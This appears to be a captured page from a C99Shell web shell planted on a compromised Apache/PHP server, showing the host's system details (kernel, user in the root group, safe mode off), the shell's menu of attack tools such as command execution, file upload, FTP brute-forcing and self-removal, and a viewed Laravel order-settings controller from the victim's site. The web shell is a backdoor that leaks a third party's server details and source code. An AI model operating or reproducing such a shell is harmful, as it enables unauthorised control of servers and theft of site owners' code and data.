!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/   drwxr-xr-x
Free 26.17 GB of 117.98 GB (22.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OrderSettingController.php (1.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package OrderSettingController
 * @author TechVillage <support@techvill.org>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 17-10-2022
 */
namespace App\Http\Controllers;

use 
App\Http\Controllers\Controller;
use 
Illuminate\Http\Request;
use 
App\Models\Preference;

class 
OrderSettingController extends Controller
{


    public function 
__construct(Request $request)
    {
        
//this middleware should be for POST request only
        
if ($request->isMethod('post')) {
            
$this->middleware('checkForDemoMode')->only('index');
        }
    }

    
/**
     * Order general setting
     * @param Request $request
     * @return \Illuminate\Contracts\View\View
     */
    
public function index(Request $request)
    {
        if (
$request->isMethod('GET')) {
            
$data['list_menu'] = 'option';
            return 
view('admin.order_settings.index'$data);
        }

        foreach (
$request->only('order_prefix''order_refund''guest_order') as $key => $value) {
            (new 
Preference())->storeOrUpdate([
                
'category' => 'preference''field' => $key'value' => $value
            
]);
        }

        
$response $this->messageArray(__('The :x has been successfully saved.', ['x' => __('Order Setting')]), 'success');
        
$this->setSessionValue($response);

        return 
redirect()->route('order.setting.option');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--